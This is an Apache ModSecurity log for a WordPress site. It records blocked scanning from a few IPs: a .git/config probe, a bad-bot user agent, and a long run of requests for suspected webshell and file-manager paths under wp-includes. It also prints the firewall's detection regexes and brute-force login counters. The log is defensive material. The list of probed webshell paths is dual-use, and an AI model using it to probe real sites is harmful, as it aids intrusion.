[Wed Apr 08 11:40:37.414616 2026] [:error] [pid 49984:tid 49999] [client 158.94.209.109:62464] [client 158.94.209.109] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "adXONeYY_Bz5lRHcJIFaVwAAAUk"]
[Wed Apr 08 11:50:32.611526 2026] [:error] [pid 47732:tid 47752] [client 173.239.214.66:45537] [client 173.239.214.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "adXQiIm4N5QW9Mh7G132IQAAANI"]
[Wed Apr 08 13:49:30.259120 2026] [:error] [pid 12385:tid 12390] [client 145.223.8.16:33624] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adXsaiAjtvRQEkLosq0DMgAAAAE"]
[Wed Apr 08 13:49:32.153852 2026] [:error] [pid 12385:tid 12394] [client 145.223.8.16:34048] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adXsbCAjtvRQEkLosq0DPAAAAAU"]
[Wed Apr 08 13:49:35.045982 2026] [:error] [pid 12490:tid 12505] [client 145.223.8.16:34062] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adXsb21Fea4F4fbumr14TQAAAM0"]
[Wed Apr 08 13:49:36.928529 2026] [:error] [pid 12453:tid 12471] [client 145.223.8.16:34064] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adXscBjtW7S6XsLPvrQkpwAAAJA"]
[Wed Apr 08 13:49:39.915368 2026] [:error] [pid 12385:tid 12409] [client 145.223.8.16:34076] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adXscyAjtvRQEkLosq0DXQAAABQ"]
[Wed Apr 08 13:49:40.989365 2026] [:error] [pid 12490:tid 12506] [client 145.223.8.16:57502] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adXsdG1Fea4F4fbumr14cwAAAM4"]
[Wed Apr 08 13:49:41.714262 2026] [:error] [pid 12453:tid 12473] [client 145.223.8.16:57510] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adXsdRjtW7S6XsLPvrQkwAAAAJI"]
[Wed Apr 08 13:49:42.432480 2026] [:error] [pid 35642:tid 35667] [client 145.223.8.16:57514] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adXsdg-CqryxdEs5DN892AAAAFc"]
[Wed Apr 08 13:49:43.184162 2026] [:error] [pid 35642:tid 35656] [client 145.223.8.16:57528] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adXsdw-CqryxdEs5DN894gAAAEw"]
[Wed Apr 08 13:49:43.893768 2026] [:error] [pid 35642:tid 35651] [client 145.223.8.16:57534] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adXsdw-CqryxdEs5DN896gAAAEc"]
[Wed Apr 08 13:49:44.978196 2026] [:error] [pid 12453:tid 12459] [client 145.223.8.16:45053] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adXseBjtW7S6XsLPvrQkzAAAAIQ"]
[Wed Apr 08 13:49:46.428981 2026] [:error] [pid 12385:tid 12390] [client 145.223.8.16:57550] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "adXseiAjtvRQEkLosq0DdgAAAAE"]
[Wed Apr 08 13:49:47.879871 2026] [:error] [pid 12490:tid 12512] [client 145.223.8.16:53542] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adXse21Fea4F4fbumr14qwAAANQ"]
[Wed Apr 08 13:49:48.999888 2026] [:error] [pid 12490:tid 12500] [client 145.223.8.16:57572] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adXsfG1Fea4F4fbumr14uQAAAMg"]
[Wed Apr 08 13:49:50.098801 2026] [:error] [pid 12386:tid 12436] [client 145.223.8.16:38832] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adXsfhLhhLtqHi2gK7VYgQAAARQ"]
[Wed Apr 08 13:49:53.099811 2026] [:error] [pid 12453:tid 12474] [client 145.223.8.16:38838] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adXsgRjtW7S6XsLPvrQk-AAAAJM"]
[Wed Apr 08 13:49:54.208379 2026] [:error] [pid 12453:tid 12466] [client 145.223.8.16:38842] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adXsghjtW7S6XsLPvrQlBgAAAIs"]
[Wed Apr 08 13:49:55.731447 2026] [:error] [pid 12386:tid 12424] [client 145.223.8.16:38858] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adXsgxLhhLtqHi2gK7VYnAAAAQg"]
[Wed Apr 08 13:49:56.852099 2026] [:error] [pid 12490:tid 12497] [client 145.223.8.16:38870] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adXshG1Fea4F4fbumr145QAAAMU"]
[Wed Apr 08 13:49:59.054328 2026] [:error] [pid 35642:tid 35649] [client 145.223.8.16:38876] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adXshw-CqryxdEs5DN8-QAAAAEU"]
[Wed Apr 08 13:50:00.150173 2026] [:error] [pid 12453:tid 12466] [client 145.223.8.16:59260] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adXsiBjtW7S6XsLPvrQlHwAAAIs"]
[Wed Apr 08 13:50:01.275109 2026] [:error] [pid 12453:tid 12469] [client 145.223.8.16:59266] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adXsiRjtW7S6XsLPvrQlMgAAAI4"]
[Wed Apr 08 13:50:01.983312 2026] [:error] [pid 12386:tid 12430] [client 145.223.8.16:59272] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adXsiRLhhLtqHi2gK7VYtQAAAQ4"]
[Wed Apr 08 13:50:02.707356 2026] [:error] [pid 12386:tid 12420] [client 145.223.8.16:59288] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adXsihLhhLtqHi2gK7VYvQAAAQQ"]
[Wed Apr 08 13:50:04.505761 2026] [:error] [pid 12385:tid 12402] [client 145.223.8.16:59296] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adXsjCAjtvRQEkLosq0DoAAAAA0"]
[Wed Apr 08 13:50:05.221133 2026] [:error] [pid 12453:tid 12475] [client 145.223.8.16:59304] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adXsjRjtW7S6XsLPvrQlSwAAAJQ"]
[Wed Apr 08 13:50:05.974047 2026] [:error] [pid 12453:tid 12477] [client 145.223.8.16:59318] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adXsjRjtW7S6XsLPvrQlTwAAAJY"]
[Wed Apr 08 13:50:09.603893 2026] [:error] [pid 12386:tid 12426] [client 145.223.8.16:47575] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adXskRLhhLtqHi2gK7VY4gAAAQo"]
[Wed Apr 08 13:50:11.496872 2026] [:error] [pid 12386:tid 12420] [client 145.223.8.16:52572] [client 145.223.8.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 145.223.8.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adXskxLhhLtqHi2gK7VY7wAAAQQ"]
[Wed Apr 08 13:50:16.046809 2026] [:error] [pid 12386:tid 12424] [client 145.223.8.16:52572] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adXsmBLhhLtqHi2gK7VZCwAAAQg"]
[Wed Apr 08 13:50:17.501031 2026] [:error] [pid 12490:tid 12507] [client 145.223.8.16:52582] [client 145.223.8.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 145.223.8.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adXsmW1Fea4F4fbumr15bgAAAM8"]
[Wed Apr 08 13:50:18.237346 2026] [:error] [pid 12490:tid 12498] [client 145.223.8.16:52582] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "adXsmm1Fea4F4fbumr15dQAAAMY"]
[Wed Apr 08 13:50:21.985373 2026] [:error] [pid 35642:tid 35658] [client 145.223.8.16:36176] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adXsnQ-CqryxdEs5DN8-vAAAAE4"]
[Wed Apr 08 13:50:25.776110 2026] [:error] [pid 35642:tid 35664] [client 145.223.8.16:36192] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adXsoQ-CqryxdEs5DN8-6wAAAFQ"]
[Wed Apr 08 13:50:27.217846 2026] [:error] [pid 12490:tid 12516] [client 145.223.8.16:36198] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adXso21Fea4F4fbumr15xQAAANg"]
[Wed Apr 08 13:50:29.102990 2026] [:error] [pid 12386:tid 12432] [client 145.223.8.16:36204] [client 145.223.8.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 145.223.8.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adXspRLhhLtqHi2gK7VZOwAAARA"]
[Wed Apr 08 13:50:29.474551 2026] [:error] [pid 12386:tid 12426] [client 145.223.8.16:36204] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adXspRLhhLtqHi2gK7VZPAAAAQo"]
[Wed Apr 08 13:50:36.643329 2026] [:error] [pid 12385:tid 12404] [client 145.223.8.16:44188] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adXsrCAjtvRQEkLosq0EGAAAAA8"]
[Wed Apr 08 13:50:38.522854 2026] [:error] [pid 12453:tid 12467] [client 145.223.8.16:44204] [client 145.223.8.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 145.223.8.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adXsrhjtW7S6XsLPvrQl1AAAAIw"]
[Wed Apr 08 13:50:39.988878 2026] [:error] [pid 12453:tid 12473] [client 145.223.8.16:44204] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "adXsrxjtW7S6XsLPvrQl3AAAAJI"]
[Wed Apr 08 13:50:41.057446 2026] [:error] [pid 12386:tid 12421] [client 145.223.8.16:36954] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "adXssRLhhLtqHi2gK7VZaAAAAQU"]
[Wed Apr 08 13:50:42.505791 2026] [:error] [pid 12453:tid 12474] [client 145.223.8.16:36958] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "adXsshjtW7S6XsLPvrQl5AAAAJM"]
[Wed Apr 08 13:50:44.390738 2026] [:error] [pid 12385:tid 12409] [client 145.223.8.16:36960] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "adXstCAjtvRQEkLosq0ENgAAABQ"]
[Wed Apr 08 13:50:45.128670 2026] [:error] [pid 12453:tid 12478] [client 145.223.8.16:36964] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "adXstRjtW7S6XsLPvrQl-wAAAJc"]
[Wed Apr 08 13:50:47.710763 2026] [:error] [pid 12453:tid 12455] [client 145.223.8.16:64666] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adXstxjtW7S6XsLPvrQmEgAAAIA"]
[Wed Apr 08 13:50:48.800954 2026] [:error] [pid 35642:tid 35654] [client 145.223.8.16:36982] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "adXsuA-CqryxdEs5DN8_ZAAAAEo"]
[Wed Apr 08 13:50:50.679644 2026] [:error] [pid 35642:tid 35651] [client 145.223.8.16:59732] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "adXsug-CqryxdEs5DN8_bwAAAEc"]
[Wed Apr 08 13:50:52.502477 2026] [:error] [pid 35642:tid 35667] [client 145.223.8.16:59738] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adXsvA-CqryxdEs5DN8_iAAAAFc"]
[Wed Apr 08 13:50:53.955014 2026] [:error] [pid 12490:tid 12506] [client 145.223.8.16:59742] [client 145.223.8.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "adXsvW1Fea4F4fbumr17FwAAAM4"]
